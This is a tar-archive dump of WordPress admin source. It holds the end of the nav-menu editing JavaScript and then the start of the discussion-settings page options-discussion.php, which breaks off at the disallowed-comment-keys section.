					if ( -1 != e.target.className.indexOf('item-edit') ) {
						return that.eventOnClickEditLink(e.target);
					} else if ( -1 != e.target.className.indexOf('menu-save') ) {
						return that.eventOnClickMenuSave(e.target);
					} else if ( -1 != e.target.className.indexOf('menu-delete') ) {
						return that.eventOnClickMenuDelete(e.target);
					} else if ( -1 != e.target.className.indexOf('item-delete') ) {
						return that.eventOnClickMenuItemDelete(e.target);
					} else if ( -1 != e.target.className.indexOf('item-cancel') ) {
						return that.eventOnClickCancelLink(e.target);
					}
				}
			});

			$( '#menu-name' ).on( 'input', _.debounce( function () {
				var menuName = $( document.getElementById( 'menu-name' ) ),
					menuNameVal = menuName.val();

				if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
					// Add warning for invalid menu name.
					menuName.parent().addClass( 'form-invalid' );
				} else {
					// Remove warning for valid menu name.
					menuName.parent().removeClass( 'form-invalid' );
				}
			}, 500 ) );

			$('#add-custom-links input[type="text"]').on( 'keypress', function(e){
				$('#customlinkdiv').removeClass('form-invalid');

				if ( e.keyCode === 13 ) {
					e.preventDefault();
					$( '#submit-customlinkdiv' ).trigger( 'click' );
				}
			});
		},

		/**
		 * Handle toggling bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		attachBulkSelectButtonListeners : function() {
			var that = this;

			$( '.bulk-select-switcher' ).on( 'change', function() {
				if ( this.checked ) {
					$( '.bulk-select-switcher' ).prop( 'checked', true );
					that.enableBulkSelection();
				} else {
					$( '.bulk-select-switcher' ).prop( 'checked', false );
					that.disableBulkSelection();
				}
			});
		},

		/**
		 * Enable bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		enableBulkSelection : function() {
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$( '#menu-to-edit' ).addClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-top' ).addClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-bottom' ).addClass( 'bulk-selection' );

			$.each( checkbox, function() {
				$(this).prop( 'disabled', false );
			});
		},

		/**
		 * Disable bulk selection checkboxes for menu items.
		 *
		 * @since 5.8.0
		 */ 
		disableBulkSelection : function() {
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$( '#menu-to-edit' ).removeClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-top' ).removeClass( 'bulk-selection' );
			$( '#nav-menu-bulk-actions-bottom' ).removeClass( 'bulk-selection' );

			if ( $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
				$( '.menu-items-delete' ).removeAttr( 'aria-describedby' );
			}

			$.each( checkbox, function() {
				$(this).prop( 'disabled', true ).prop( 'checked', false );
			});

			$( '.menu-items-delete' ).addClass( 'disabled' );
			$( '#pending-menu-items-to-delete ul' ).empty();
		},

		/**
		 * Listen for state changes on bulk action checkboxes.
		 *
		 * @since 5.8.0
		 */ 
		attachMenuCheckBoxListeners : function() {
			var that = this;

			$( '#menu-to-edit' ).on( 'change', '.menu-item-checkbox', function() {
				that.setRemoveSelectedButtonStatus();
			});
		},

		/**
		 * Create delete button to remove menu items from collection.
		 *
		 * @since 5.8.0
		 */ 
		attachMenuItemDeleteButton : function() {
			var that = this;

			$( document ).on( 'click', '.menu-items-delete', function( e ) {
				var itemsPendingDeletion, itemsPendingDeletionList, deletionSpeech;

				e.preventDefault();

				if ( ! $(this).hasClass( 'disabled' ) ) {
					$.each( $( '.menu-item-checkbox:checked' ), function( index, element ) {
						$( element ).parents( 'li' ).find( 'a.item-delete' ).trigger( 'click' );
					});

					$( '.menu-items-delete' ).addClass( 'disabled' );
					$( '.bulk-select-switcher' ).prop( 'checked', false );

					itemsPendingDeletion     = '';
					itemsPendingDeletionList = $( '#pending-menu-items-to-delete ul li' );

					$.each( itemsPendingDeletionList, function( index, element ) {
						var itemName = $( element ).find( '.pending-menu-item-name' ).text();
						var itemSpeech = menus.menuItemDeletion.replace( '%s', itemName );

						itemsPendingDeletion += itemSpeech;
						if ( ( index + 1 ) < itemsPendingDeletionList.length ) {
							itemsPendingDeletion += ', ';
						}
					});

					deletionSpeech = menus.itemsDeleted.replace( '%s', itemsPendingDeletion );
					wp.a11y.speak( deletionSpeech, 'polite' );
					that.disableBulkSelection();
				}
			});
		},

		/**
		 * List menu items awaiting deletion.
		 *
		 * @since 5.8.0
		 */ 
		attachPendingMenuItemsListForDeletion : function() {
			$( '#post-body-content' ).on( 'change', '.menu-item-checkbox', function() {
				var menuItemName, menuItemType, menuItemID, listedMenuItem;

				if ( ! $( '.menu-items-delete' ).is( '[aria-describedby="pending-menu-items-to-delete"]' ) ) {
					$( '.menu-items-delete' ).attr( 'aria-describedby', 'pending-menu-items-to-delete' );
				}

				menuItemName = $(this).next().text();
				menuItemType = $(this).parent().next( '.item-controls' ).find( '.item-type' ).text();
				menuItemID   = $(this).attr( 'data-menu-item-id' );

				listedMenuItem = $( '#pending-menu-items-to-delete ul' ).find( '[data-menu-item-id=' + menuItemID + ']' );
				if ( listedMenuItem.length > 0 ) {
					listedMenuItem.remove();
				}

				if ( this.checked === true ) {
					$( '#pending-menu-items-to-delete ul' ).append(
						'<li data-menu-item-id="' + menuItemID + '">' +
							'<span class="pending-menu-item-name">' + menuItemName + '</span> ' +
							'<span class="pending-menu-item-type">(' + menuItemType + ')</span>' +
							'<span class="separator"></span>' +
						'</li>'
					);
				}

				$( '#pending-menu-items-to-delete li .separator' ).html( ', ' );
				$( '#pending-menu-items-to-delete li .separator' ).last().html( '.' );
			});
		},

		/**
		 * Set status of bulk delete checkbox.
		 *
		 * @since 5.8.0
		 */ 
		setBulkDeleteCheckboxStatus : function() {
			var that = this;
			var checkbox = $( '#menu-to-edit .menu-item-checkbox' );

			$.each( checkbox, function() {
				if ( $(this).prop( 'disabled' ) ) {
					$(this).prop( 'disabled', false );
				} else {
					$(this).prop( 'disabled', true );
				}

				if ( $(this).is( ':checked' ) ) {
					$(this).prop( 'checked', false );
				}
			});

			that.setRemoveSelectedButtonStatus();
		},

		/**
		 * Set status of menu items removal button.
		 *
		 * @since 5.8.0
		 */ 
		setRemoveSelectedButtonStatus : function() {
			var button = $( '.menu-items-delete' );

			if ( $( '.menu-item-checkbox:checked' ).length > 0 ) {
				button.removeClass( 'disabled' );
			} else {
				button.addClass( 'disabled' );
			}
		},

		attachMenuSaveSubmitListeners : function() {
			/*
			 * When a navigation menu is saved, store a JSON representation of all form data
			 * in a single input to avoid PHP `max_input_vars` limitations. See #14134.
			 */
			$( '#update-nav-menu' ).on( 'submit', function() {
				var navMenuData = $( '#update-nav-menu' ).serializeArray();
				$( '[name="nav-menu-data"]' ).val( JSON.stringify( navMenuData ) );
			});
		},

		attachThemeLocationsListeners : function() {
			var loc = $('#nav-menu-theme-locations'), params = {};
			params.action = 'menu-locations-save';
			params['menu-settings-column-nonce'] = $('#menu-settings-column-nonce').val();
			loc.find('input[type="submit"]').on( 'click', function() {
				loc.find('select').each(function() {
					params[this.name] = $(this).val();
				});
				loc.find( '.spinner' ).addClass( 'is-active' );
				$.post( ajaxurl, params, function() {
					loc.find( '.spinner' ).removeClass( 'is-active' );
				});
				return false;
			});
		},

		attachQuickSearchListeners : function() {
			var searchTimer;

			// Prevent form submission.
			$( '#nav-menu-meta' ).on( 'submit', function( event ) {
				event.preventDefault();
			});

			$( '#nav-menu-meta' ).on( 'input', '.quick-search', function() {
				var $this = $( this );

				$this.attr( 'autocomplete', 'off' );

				if ( searchTimer ) {
					clearTimeout( searchTimer );
				}

				searchTimer = setTimeout( function() {
					api.updateQuickSearchResults( $this );
				}, 500 );
			}).on( 'blur', '.quick-search', function() {
				api.lastSearch = '';
			});
		},

		updateQuickSearchResults : function(input) {
			var panel, params,
				minSearchLength = 2,
				q = input.val();

			/*
			 * Minimum characters for a search. Also avoid a new Ajax search when
			 * the pressed key (e.g. arrows) doesn't change the searched term.
			 */
			if ( q.length < minSearchLength || api.lastSearch == q ) {
				return;
			}

			api.lastSearch = q;

			panel = input.parents('.tabs-panel');
			params = {
				'action': 'menu-quick-search',
				'response-format': 'markup',
				'menu': $('#menu').val(),
				'menu-settings-column-nonce': $('#menu-settings-column-nonce').val(),
				'q': q,
				'type': input.attr('name')
			};

			$( '.spinner', panel ).addClass( 'is-active' );

			$.post( ajaxurl, params, function(menuMarkup) {
				api.processQuickSearchQueryResponse(menuMarkup, params, panel);
			});
		},

		addCustomLink : function( processMethod ) {
			var url = $('#custom-menu-item-url').val().toString(),
				label = $('#custom-menu-item-name').val();

			if ( '' !== url ) {
				url = url.trim();
			}

			processMethod = processMethod || api.addMenuItemToBottom;

			if ( '' === url || 'https://' == url || 'http://' == url ) {
				$('#customlinkdiv').addClass('form-invalid');
				return false;
			}

			// Show the Ajax spinner.
			$( '.customlinkdiv .spinner' ).addClass( 'is-active' );
			this.addLinkToMenu( url, label, processMethod, function() {
				// Remove the Ajax spinner.
				$( '.customlinkdiv .spinner' ).removeClass( 'is-active' );
				// Set custom link form back to defaults.
				$('#custom-menu-item-name').val('').trigger( 'blur' );
				$( '#custom-menu-item-url' ).val( '' ).attr( 'placeholder', 'https://' );
			});
		},

		addLinkToMenu : function(url, label, processMethod, callback) {
			processMethod = processMethod || api.addMenuItemToBottom;
			callback = callback || function(){};

			api.addItemToMenu({
				'-1': {
					'menu-item-type': 'custom',
					'menu-item-url': url,
					'menu-item-title': label
				}
			}, processMethod, callback);
		},

		addItemToMenu : function(menuItem, processMethod, callback) {
			var menu = $('#menu').val(),
				nonce = $('#menu-settings-column-nonce').val(),
				params;

			processMethod = processMethod || function(){};
			callback = callback || function(){};

			params = {
				'action': 'add-menu-item',
				'menu': menu,
				'menu-settings-column-nonce': nonce,
				'menu-item': menuItem
			};

			$.post( ajaxurl, params, function(menuMarkup) {
				var ins = $('#menu-instructions');

				menuMarkup = menuMarkup || '';
				menuMarkup = menuMarkup.toString().trim(); // Trim leading whitespaces.
				processMethod(menuMarkup, params);

				// Make it stand out a bit more visually, by adding a fadeIn.
				$( 'li.pending' ).hide().fadeIn('slow');
				$( '.drag-instructions' ).show();
				if( ! ins.hasClass( 'menu-instructions-inactive' ) && ins.siblings().length )
					ins.addClass( 'menu-instructions-inactive' );

				callback();
			});
		},

		/**
		 * Process the add menu item request response into menu list item. Appends to menu.
		 *
		 * @param {string} menuMarkup The text server response of menu item markup.
		 *
		 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
		 */
		addMenuItemToBottom : function( menuMarkup ) {
			var $menuMarkup = $( menuMarkup );
			$menuMarkup.hideAdvancedMenuItemFields().appendTo( api.targetList );
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();
			wp.a11y.speak( menus.itemAdded );
			$( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
		},

		/**
		 * Process the add menu item request response into menu list item. Prepends to menu.
		 *
		 * @param {string} menuMarkup The text server response of menu item markup.
		 *
		 * @fires document#menu-item-added Passes menuMarkup as a jQuery object.
		 */
		addMenuItemToTop : function( menuMarkup ) {
			var $menuMarkup = $( menuMarkup );
			$menuMarkup.hideAdvancedMenuItemFields().prependTo( api.targetList );
			api.refreshKeyboardAccessibility();
			api.refreshAdvancedAccessibility();
			wp.a11y.speak( menus.itemAdded );
			$( document ).trigger( 'menu-item-added', [ $menuMarkup ] );
		},

		attachUnsavedChangesListener : function() {
			$('#menu-management input, #menu-management select, #menu-management, #menu-management textarea, .menu-location-menus select').on( 'change', function(){
				api.registerChange();
			});

			if ( 0 !== $('#menu-to-edit').length || 0 !== $('.menu-location-menus select').length ) {
				window.onbeforeunload = function(){
					if ( api.menusChanged )
						return wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' );
				};
			} else {
				// Make the post boxes read-only, as they can't be used yet.
				$( '#menu-settings-column' ).find( 'input,select' ).end().find( 'a' ).attr( 'href', '#' ).off( 'click' );
			}
		},

		registerChange : function() {
			api.menusChanged = true;
		},

		attachTabsPanelListeners : function() {
			$('#menu-settings-column').on('click', function(e) {
				var selectAreaMatch, selectAll, panelId, wrapper, items,
					target = $(e.target);

				if ( target.hasClass('nav-tab-link') ) {

					panelId = target.data( 'type' );

					wrapper = target.parents('.accordion-section-content').first();

					// Upon changing tabs, we want to uncheck all checkboxes.
					$( 'input', wrapper ).prop( 'checked', false );

					$('.tabs-panel-active', wrapper).removeClass('tabs-panel-active').addClass('tabs-panel-inactive');
					$('#' + panelId, wrapper).removeClass('tabs-panel-inactive').addClass('tabs-panel-active');

					$('.tabs', wrapper).removeClass('tabs');
					target.parent().addClass('tabs');

					// Select the search bar.
					$('.quick-search', wrapper).trigger( 'focus' );

					// Hide controls in the search tab if no items found.
					if ( ! wrapper.find( '.tabs-panel-active .menu-item-title' ).length ) {
						wrapper.addClass( 'has-no-menu-item' );
					} else {
						wrapper.removeClass( 'has-no-menu-item' );
					}

					e.preventDefault();
				} else if ( target.hasClass( 'select-all' ) ) {
					selectAreaMatch = target.closest( '.button-controls' ).data( 'items-type' );
					if ( selectAreaMatch ) {
						items = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );

						if ( items.length === items.filter( ':checked' ).length && ! target.is( ':checked' ) ) {
							items.prop( 'checked', false );
						} else if ( target.is( ':checked' ) ) {
							items.prop( 'checked', true );
						}
					}
				} else if ( target.hasClass( 'menu-item-checkbox' ) ) {
					selectAreaMatch = target.closest( '.tabs-panel-active' ).parent().attr( 'id' );
					if ( selectAreaMatch ) {
						items     = $( '#' + selectAreaMatch + ' .tabs-panel-active .menu-item-title input' );
						selectAll = $( '.button-controls[data-items-type="' + selectAreaMatch + '"] .select-all' );

						if ( items.length === items.filter( ':checked' ).length && ! selectAll.is( ':checked' ) ) {
							selectAll.prop( 'checked', true );
						} else if ( selectAll.is( ':checked' ) ) {
							selectAll.prop( 'checked', false );
						}
					}
				} else if ( target.hasClass('submit-add-to-menu') ) {
					api.registerChange();

					if ( e.target.id && 'submit-customlinkdiv' == e.target.id )
						api.addCustomLink( api.addMenuItemToBottom );
					else if ( e.target.id && -1 != e.target.id.indexOf('submit-') )
						$('#' + e.target.id.replace(/submit-/, '')).addSelectedToMenu( api.addMenuItemToBottom );
					return false;
				}
			});

			/*
			 * Delegate the `click` event and attach it just to the pagination
			 * links thus excluding the current page `<span>`. See ticket #35577.
			 */
			$( '#nav-menu-meta' ).on( 'click', 'a.page-numbers', function() {
				var $container = $( this ).closest( '.inside' );

				$.post( ajaxurl, this.href.replace( /.*\?/, '' ).replace( /action=([^&]*)/, '' ) + '&action=menu-get-metabox',
					function( resp ) {
						var metaBoxData = JSON.parse( resp ),
							toReplace;

						if ( -1 === resp.indexOf( 'replace-id' ) ) {
							return;
						}

						// Get the post type menu meta box to update.
						toReplace = document.getElementById( metaBoxData['replace-id'] );

						if ( ! metaBoxData.markup || ! toReplace ) {
							return;
						}

						// Update the post type menu meta box with new content from the response.
						$container.html( metaBoxData.markup );
					}
				);

				return false;
			});
		},

		eventOnClickEditLink : function(clickedEl) {
			var settings, item,
			matchedSection = /#(.*)$/.exec(clickedEl.href);

			if ( matchedSection && matchedSection[1] ) {
				settings = $('#'+matchedSection[1]);
				item = settings.parent();
				if( 0 !== item.length ) {
					if( item.hasClass('menu-item-edit-inactive') ) {
						if( ! settings.data('menu-item-data') ) {
							settings.data( 'menu-item-data', settings.getItemData() );
						}
						settings.slideDown('fast');
						item.removeClass('menu-item-edit-inactive')
							.addClass('menu-item-edit-active');
					} else {
						settings.slideUp('fast');
						item.removeClass('menu-item-edit-active')
							.addClass('menu-item-edit-inactive');
					}
					return false;
				}
			}
		},

		eventOnClickCancelLink : function(clickedEl) {
			var settings = $( clickedEl ).closest( '.menu-item-settings' ),
				thisMenuItem = $( clickedEl ).closest( '.menu-item' );

			thisMenuItem.removeClass( 'menu-item-edit-active' ).addClass( 'menu-item-edit-inactive' );
			settings.setItemData( settings.data( 'menu-item-data' ) ).hide();
			// Restore the title of the currently active/expanded menu item.
			thisMenuItem.find( '.menu-item-title' ).text( settings.data( 'menu-item-data' )['menu-item-title'] );

			return false;
		},

		eventOnClickMenuSave : function() {
			var locs = '',
			menuName = $('#menu-name'),
			menuNameVal = menuName.val();

			// Cancel and warn if invalid menu name.
			if ( ! menuNameVal || ! menuNameVal.replace( /\s+/, '' ) ) {
				menuName.parent().addClass( 'form-invalid' );
				return false;
			}
			// Copy menu theme locations.
			$('#nav-menu-theme-locations select').each(function() {
				locs += '<input type="hidden" name="' + this.name + '" value="' + $(this).val() + '" />';
			});
			$('#update-nav-menu').append( locs );
			// Update menu item position data.
			api.menuList.find('.menu-item-data-position').val( function(index) { return index + 1; } );
			window.onbeforeunload = null;

			return true;
		},

		eventOnClickMenuDelete : function() {
			// Delete warning AYS.
			if ( window.confirm( wp.i18n.__( 'You are about to permanently delete this menu.\n\'Cancel\' to stop, \'OK\' to delete.' ) ) ) {
				window.onbeforeunload = null;
				return true;
			}
			return false;
		},

		eventOnClickMenuItemDelete : function(clickedEl) {
			var itemID = parseInt(clickedEl.id.replace('delete-', ''), 10);

			api.removeMenuItem( $('#menu-item-' + itemID) );
			api.registerChange();
			return false;
		},

		/**
		 * Process the quick search response into a search result
		 *
		 * @param string resp The server response to the query.
		 * @param object req The request arguments.
		 * @param jQuery panel The tabs panel we're searching in.
		 */
		processQuickSearchQueryResponse : function(resp, req, panel) {
			var matched, newID,
			takenIDs = {},
			form = document.getElementById('nav-menu-meta'),
			pattern = /menu-item[(\[^]\]*/,
			$items = $('<div>').html(resp).find('li'),
			wrapper = panel.closest( '.accordion-section-content' ),
			selectAll = wrapper.find( '.button-controls .select-all' ),
			$item;

			if( ! $items.length ) {
				$('.categorychecklist', panel).html( '<li><p>' + wp.i18n.__( 'No results found.' ) + '</p></li>' );
				$( '.spinner', panel ).removeClass( 'is-active' );
				wrapper.addClass( 'has-no-menu-item' );
				return;
			}

			$items.each(function(){
				$item = $(this);

				// Make a unique DB ID number.
				matched = pattern.exec($item.html());

				if ( matched && matched[1] ) {
					newID = matched[1];
					while( form.elements['menu-item[' + newID + '][menu-item-type]'] || takenIDs[ newID ] ) {
						newID--;
					}

					takenIDs[newID] = true;
					if ( newID != matched[1] ) {
						$item.html( $item.html().replace(new RegExp(
							'menu-item\\[' + matched[1] + '\\]', 'g'),
							'menu-item[' + newID + ']'
						) );
					}
				}
			});

			$('.categorychecklist', panel).html( $items );
			$( '.spinner', panel ).removeClass( 'is-active' );
			wrapper.removeClass( 'has-no-menu-item' );

			if ( selectAll.is( ':checked' ) ) {
				selectAll.prop( 'checked', false );
			}
		},

		/**
		 * Remove a menu item.
		 *
		 * @param {Object} el The element to be removed as a jQuery object.
		 *
		 * @fires document#menu-removing-item Passes the element to be removed.
		 */
		removeMenuItem : function(el) {
			var children = el.childMenuItems();

			$( document ).trigger( 'menu-removing-item', [ el ] );
			el.addClass('deleting').animate({
					opacity : 0,
					height: 0
				}, 350, function() {
					var ins = $('#menu-instructions');
					el.remove();
					children.shiftDepthClass( -1 ).updateParentMenuItemDBId();
					if ( 0 === $( '#menu-to-edit li' ).length ) {
						$( '.drag-instructions' ).hide();
						ins.removeClass( 'menu-instructions-inactive' );
					}
					api.refreshAdvancedAccessibility();
					wp.a11y.speak( menus.itemRemoved );
				});
		},

		depthToPx : function(depth) {
			return depth * api.options.menuItemDepthPerLevel;
		},

		pxToDepth : function(px) {
			return Math.floor(px / api.options.menuItemDepthPerLevel);
		}

	};

	$( function() {

		wpNavMenu.init();

		// Prevent focused element from being hidden by the sticky footer.
		$( '.menu-edit a, .menu-edit button, .menu-edit input, .menu-edit textarea, .menu-edit select' ).on('focus', function() {
			if ( window.innerWidth >= 783 ) {
				var navMenuHeight = $( '#nav-menu-footer' ).height() + 20;
				var bottomOffset = $(this).offset().top - ( $(window).scrollTop() + $(window).height() - $(this).height() );

				if ( bottomOffset > 0 ) {
					bottomOffset = 0;
				}
				bottomOffset = bottomOffset * -1;

				if( bottomOffset < navMenuHeight ) {
					var scrollTop = $(document).scrollTop();
					$(document).scrollTop( scrollTop + ( navMenuHeight - bottomOffset ) );
				}
			}
		});
	});

	// Show bulk action.
	$( document ).on( 'menu-item-added', function() {
		if ( ! $( '.bulk-actions' ).is( ':visible' ) ) {
			$( '.bulk-actions' ).show();
		}
	} );

	// Hide bulk action.
	$( document ).on( 'menu-removing-item', function( e, el ) {
		var menuElement = $( el ).parents( '#menu-to-edit' );
		if ( menuElement.find( 'li' ).length === 1 && $( '.bulk-actions' ).is( ':visible' ) ) {
			$( '.bulk-actions' ).hide();
		}
	} );

})(jQuery);
options-discussion.php.tar000064400000043000150276633110011717 0ustar00home/natitnen/crestassured.com/wp-admin/options-discussion.php000064400000037117150274363370020724 0ustar00<?php
/**
 * Discussion settings administration panel.
 *
 * @package WordPress
 * @subpackage Administration
 */
/** WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_options' ) ) {
	wp_die( __( 'Sorry, you are not allowed to manage options for this site.' ) );
}

// Used in the HTML title tag.
$title       = __( 'Discussion Settings' );
$parent_file = 'options-general.php';

add_action( 'admin_print_footer_scripts', 'options_discussion_add_js' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' => '<p>' . __( 'This screen provides many options for controlling the management and display of comments and links to your posts/pages. So many, in fact, they will not all fit here! :) Use the documentation links to get information on what each discussion setting does.' ) . '</p>' .
			'<p>' . __( 'You must click the Save Changes button at the bottom of the screen for new settings to take effect.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/settings-discussion-screen/">Documentation on Discussion Settings</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1><?php echo esc_html( $title ); ?></h1>

<form method="post" action="options.php">
<?php settings_fields( 'discussion' ); ?>

<table class="form-table" role="presentation">
<tr>
<th scope="row"><?php _e( 'Default post settings' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Default post settings' );
	?>
</span></legend>
<label for="default_pingback_flag">
<input name="default_pingback_flag" type="checkbox" id="default_pingback_flag" value="1" <?php checked( '1', get_option( 'default_pingback_flag' ) ); ?> />
<?php _e( 'Attempt to notify any blogs linked to from the post' ); ?></label>
<br />
<label for="default_ping_status">
<input name="default_ping_status" type="checkbox" id="default_ping_status" value="open" <?php checked( 'open', get_option( 'default_ping_status' ) ); ?> />
<?php _e( 'Allow link notifications from other blogs (pingbacks and trackbacks) on new posts' ); ?></label>
<br />
<label for="default_comment_status">
<input name="default_comment_status" type="checkbox" id="default_comment_status" value="open" <?php checked( 'open', get_option( 'default_comment_status' ) ); ?> />
<?php _e( 'Allow people to submit comments on new posts' ); ?></label>
<br />
<p class="description"><?php _e( 'Individual posts may override these settings. Changes here will only be applied to new posts.' ); ?></p>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Other comment settings' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Other comment settings' );
	?>
</span></legend>
<label for="require_name_email"><input type="checkbox" name="require_name_email" id="require_name_email" value="1" <?php checked( '1', get_option( 'require_name_email' ) ); ?> /> <?php _e( 'Comment author must fill out name and email' ); ?></label>
<br />
<label for="comment_registration">
<input name="comment_registration" type="checkbox" id="comment_registration" value="1" <?php checked( '1', get_option( 'comment_registration' ) ); ?> />
<?php _e( 'Users must be registered and logged in to comment' ); ?>
<?php
if ( ! get_option( 'users_can_register' ) && is_multisite() ) {
	echo ' ' . __( '(Signup has been disabled. Only members of this site can comment.)' );
}
?>
</label>
<br />

<label for="close_comments_for_old_posts">
<input name="close_comments_for_old_posts" type="checkbox" id="close_comments_for_old_posts" value="1" <?php checked( '1', get_option( 'close_comments_for_old_posts' ) ); ?> />
<?php
printf(
	/* translators: %s: Number of days. */
	__( 'Automatically close comments on posts older than %s days' ),
	'</label> <label for="close_comments_days_old"><input name="close_comments_days_old" type="number" min="0" step="1" id="close_comments_days_old" value="' . esc_attr( get_option( 'close_comments_days_old' ) ) . '" class="small-text" />'
);
?>
</label>
<br />

<label for="show_comments_cookies_opt_in">
<input name="show_comments_cookies_opt_in" type="checkbox" id="show_comments_cookies_opt_in" value="1" <?php checked( '1', get_option( 'show_comments_cookies_opt_in' ) ); ?> />
<?php _e( 'Show comments cookies opt-in checkbox, allowing comment author cookies to be set' ); ?>
</label>
<br />

<label for="thread_comments">
<input name="thread_comments" type="checkbox" id="thread_comments" value="1" <?php checked( '1', get_option( 'thread_comments' ) ); ?> />
<?php
/**
 * Filters the maximum depth of threaded/nested comments.
 *
 * @since 2.7.0
 *
 * @param int $max_depth The maximum depth of threaded comments. Default 10.
 */
$maxdeep = (int) apply_filters( 'thread_comments_depth_max', 10 );

$thread_comments_depth = '</label> <label for="thread_comments_depth"><select name="thread_comments_depth" id="thread_comments_depth">';
for ( $i = 2; $i <= $maxdeep; $i++ ) {
	$thread_comments_depth .= "<option value='" . esc_attr( $i ) . "'";
	if ( (int) get_option( 'thread_comments_depth' ) === $i ) {
		$thread_comments_depth .= " selected='selected'";
	}
	$thread_comments_depth .= ">$i</option>";
}
$thread_comments_depth .= '</select>';

/* translators: %s: Number of levels. */
printf( __( 'Enable threaded (nested) comments %s levels deep' ), $thread_comments_depth );

?>
</label>
<br />
<label for="page_comments">
<input name="page_comments" type="checkbox" id="page_comments" value="1" <?php checked( '1', get_option( 'page_comments' ) ); ?> />
<?php
$default_comments_page = '</label> <label for="default_comments_page"><select name="default_comments_page" id="default_comments_page"><option value="newest"';
if ( 'newest' === get_option( 'default_comments_page' ) ) {
	$default_comments_page .= ' selected="selected"';
}
$default_comments_page .= '>' . __( 'last' ) . '</option><option value="oldest"';
if ( 'oldest' === get_option( 'default_comments_page' ) ) {
	$default_comments_page .= ' selected="selected"';
}
$default_comments_page .= '>' . __( 'first' ) . '</option></select>';
printf(
	/* translators: 1: Form field control for number of top level comments per page, 2: Form field control for the 'first' or 'last' page. */
	__( 'Break comments into pages with %1$s top level comments per page and the %2$s page displayed by default' ),
	'</label> <label for="comments_per_page"><input name="comments_per_page" type="number" step="1" min="0" id="comments_per_page" value="' . esc_attr( get_option( 'comments_per_page' ) ) . '" class="small-text" />',
	$default_comments_page
);
?>
</label>
<br />
<label for="comment_order">
<?php

$comment_order = '<select name="comment_order" id="comment_order"><option value="asc"';
if ( 'asc' === get_option( 'comment_order' ) ) {
	$comment_order .= ' selected="selected"';
}
$comment_order .= '>' . __( 'older' ) . '</option><option value="desc"';
if ( 'desc' === get_option( 'comment_order' ) ) {
	$comment_order .= ' selected="selected"';
}
$comment_order .= '>' . __( 'newer' ) . '</option></select>';

/* translators: %s: Form field control for 'older' or 'newer' comments. */
printf( __( 'Comments should be displayed with the %s comments at the top of each page' ), $comment_order );

?>
</label>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Email me whenever' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Email me whenever' );
	?>
</span></legend>
<label for="comments_notify">
<input name="comments_notify" type="checkbox" id="comments_notify" value="1" <?php checked( '1', get_option( 'comments_notify' ) ); ?> />
<?php _e( 'Anyone posts a comment' ); ?> </label>
<br />
<label for="moderation_notify">
<input name="moderation_notify" type="checkbox" id="moderation_notify" value="1" <?php checked( '1', get_option( 'moderation_notify' ) ); ?> />
<?php _e( 'A comment is held for moderation' ); ?> </label>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Before a comment appears' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Before a comment appears' );
	?>
</span></legend>
<label for="comment_moderation">
<input name="comment_moderation" type="checkbox" id="comment_moderation" value="1" <?php checked( '1', get_option( 'comment_moderation' ) ); ?> />
<?php _e( 'Comment must be manually approved' ); ?> </label>
<br />
<label for="comment_previously_approved"><input type="checkbox" name="comment_previously_approved" id="comment_previously_approved" value="1" <?php checked( '1', get_option( 'comment_previously_approved' ) ); ?> /> <?php _e( 'Comment author must have a previously approved comment' ); ?></label>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Comment Moderation' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Comment Moderation' );
	?>
</span></legend>
<p><label for="comment_max_links">
<?php
printf(
	/* translators: %s: Number of links. */
	__( 'Hold a comment in the queue if it contains %s or more links. (A common characteristic of comment spam is a large number of hyperlinks.)' ),
	'<input name="comment_max_links" type="number" step="1" min="0" id="comment_max_links" value="' . esc_attr( get_option( 'comment_max_links' ) ) . '" class="small-text" />'
);
?>
</label></p>

<p><label for="moderation_keys"><?php _e( 'When a comment contains any of these words in its content, author name, URL, email, IP address, or browser&#8217;s user agent string, it will be held in the <a href="edit-comments.php?comment_status=moderated">moderation queue</a>. One word or IP address per line. It will match inside words, so &#8220;press&#8221; will match &#8220;WordPress&#8221;.' ); ?></label></p>
<p>
<textarea name="moderation_keys" rows="10" cols="50" id="moderation_keys" class="large-text code"><?php echo esc_textarea( get_option( 'moderation_keys' ) ); ?></textarea>
</p>
</fieldset></td>
</tr>
<tr>
<th scope="row"><?php _e( 'Disallowed Comment Keys' ); ?></th>
<td><fieldset><legend class="screen-reader-text"><span>
	<?php
	/* translators: Hidden accessibility text. */
	_e( 'Disallowed Comment Keys' );
	?>
</span></legend>
